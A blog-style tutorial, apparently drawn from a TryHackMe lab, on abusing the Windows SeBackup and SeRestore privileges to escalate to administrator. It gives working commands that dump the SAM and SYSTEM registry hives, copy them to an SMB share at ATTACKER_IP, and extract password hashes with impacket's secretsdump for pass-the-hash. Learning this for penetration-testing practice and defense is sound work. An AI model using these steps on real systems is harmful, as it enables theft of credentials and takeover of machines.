Windows Privilege escalation through SeBackup / SeRestore

Hello everyone, I am Irfan, Today we are going to talk about Windows Privilege escalation through SeBackup / SeRestore. So let’s get started….

Windows Privileges

Privileges represent the rights assigned to user accounts to perform specific system-related tasks. These tasks range from basic operations like shutting down the machine to more advanced actions that can bypass discretionary access controls (DACL).

To view the privileges assigned to a user, the whoami /priv command can be used. This command provides a snapshot of the privileges associated with the current user account.

For attackers, the focus is often on privileges that can be exploited to escalate their access within the system. A comprehensive list of available privileges on Windows systems can be found in the official Microsoft documentation. Additionally, the Priv2Admin GitHub project provides valuable insights into exploitable privileges.

SeBackup / SeRestore

The SeBackup and SeRestore privileges are particularly powerful as they grant users the ability to read from and write to any file on the system, bypassing the discretionary access control list (DACL). Originally designed to facilitate system backups without necessitating full administrative privileges, these privileges can be exploited by attackers for privilege escalation.

One notable technique involves copying the SAM (Security Account Manager) and SYSTEM registry hives. This allows an attacker to extract the password hash of the local Administrator account, providing a potential path to further compromise the system.

To check for these privileges from the command prompt, the following command can be used:

whoami /priv

To backup the SAM and SYSTEM hashes, we can use the following commands:

reg save hklm\system C:\Users\user1\system.hive
reg save hklm\sam C:\Users\user1\sam.hive

Note:- Remember to change the user1 to your user.

This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket’s smbserver.py to start a simple SMB server with a network share in the current directory on our attacker machine. First

mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username user1 -password Password123 public share

This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows machine to transfer both files to our attacker machine. We can also copy these files through python web server or any other method.

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

We can then use impacket to retrieve the user’s password hashes.

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

We can finally use the Administrator’s hash to perform a Pass-the-Hash attack or crack the hash to gain access to the target machine with SYSTEM privileges.

I hope you enjoyed it, You can follow me here on LinkedIn or Twitter.